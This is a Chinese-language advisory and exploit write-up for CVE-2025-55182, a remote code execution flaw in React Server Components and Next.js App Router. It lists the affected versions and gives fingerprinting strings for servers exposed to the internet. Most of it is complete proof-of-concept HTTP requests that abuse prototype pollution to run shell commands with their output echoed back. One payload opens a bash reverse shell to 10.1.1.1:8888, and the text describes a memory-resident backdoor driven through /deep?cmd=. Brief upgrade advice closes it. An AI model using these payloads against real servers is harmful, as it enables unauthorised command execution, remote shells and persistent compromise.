CVE编号:CVE-2025-55182
受影响范围
根据安全研究团队的公告,该漏洞影响特定版本的React及相关服务端解析包。
受影响的React版本:
- React 19.0.0
- React 19.1.0
- React 19.1.1
- React 19.2.0
受影响的NPM包:
react-server-dom-parcel
react-server-dom-turbopack
react-server-dom-webpack
受影响的Next.js版本:
使用React Server Components和App Router的Next.js应用程序在以下版本中受到影响:
- Next.js v15.0.0 - v15.0.4
- Next.js v15.1.0 - v15.1.8
- Next.js v15.2.x - v15.5.6
- Next.js v16.0.0 - v16.0.6
- Next.js 14.3.0-canary.77及后续canary版本
不受影响的Next.js版本:
- Next.js 13.x(所有版本)
- Next.js 14.x稳定版
- 使用Pages Router的应用程序
- 使用Edge Runtime的应用程序
重要提示:只有同时使用了React Server Components和App Router的Next.js应用才会受到此漏洞影响。

该漏洞的潜在影响最初由安全研究人员预警,由于Next.js应用在公网存量巨大(可通过header="Next.js" || body="/_next/static"等特征识别),结合部分知名应用框架(如Dify)也基于受影响版本构建,使得该漏洞的实际威胁范围较广,被评估为高危漏洞。

漏洞复现与验证
基础POC
以下HTTP请求可用于验证漏洞是否存在,其原理是构造特定的序列化载荷,利用React 19.0.0版本中的原型链污染缺陷,在服务器端执行任意命令(此处为执行id命令)。
POST /apps HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Next-Action: x
X-Nextjs-Request-Id: ungqoyah
X-Nextjs-Html-Request-Id: zTBfMjKDeKps9lK2x4Vby
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 705
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res = Buffer.from(process.mainModule.require('child_process').execSync('id')).toString('base64');;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

可回显的POC
通过修改载荷中的命令,并将执行结果通过重定向错误信息携带返回,可以实现命令执行结果的回显。
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res = Buffer.from(process.mainModule.require('child_process').execSync('ls')).toString('base64');;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

深度利用示例(概念验证)
更进一步,攻击者可以尝试在Node.js服务器进程中植入持久化的后门。以下载荷演示了通过反弹Shell建立连接,这突显了在服务器端执行环境下RCE漏洞的严重性。
POST /apps HTTP/1.1
Host: 127.0.0.1:8888
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 800
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.1.1.1/8888 0>&1\"').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
在成功植入内存马后,攻击者可以通过访问特定路径(例如/deep)并传递参数来执行后续命令。
GET /deep?cmd=ls HTTP/1.1
Host: 127.0.0.1:8888
Upgrade-Insecure-Requests: 1
Next-Action: x
X-Nextjs-Request-Id: b5dce965
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9

安全建议
- 立即升级:所有使用受影响版本的Next.js项目,应尽快升级至已修复的安全版本(Next.js v15.5.7, v16.0.7 或更高版本)。
- 检查依赖:确保项目中的
react、react-dom及相关服务端渲染包已升级至安全版本。
- 最小化攻击面:在应用层和网络层对用户输入进行严格的校验和过滤,特别是对
Next-Action等头部字段的处理。
- 关注官方通告:密切关注Next.js及React官方的安全公告,以获取最新的修复信息。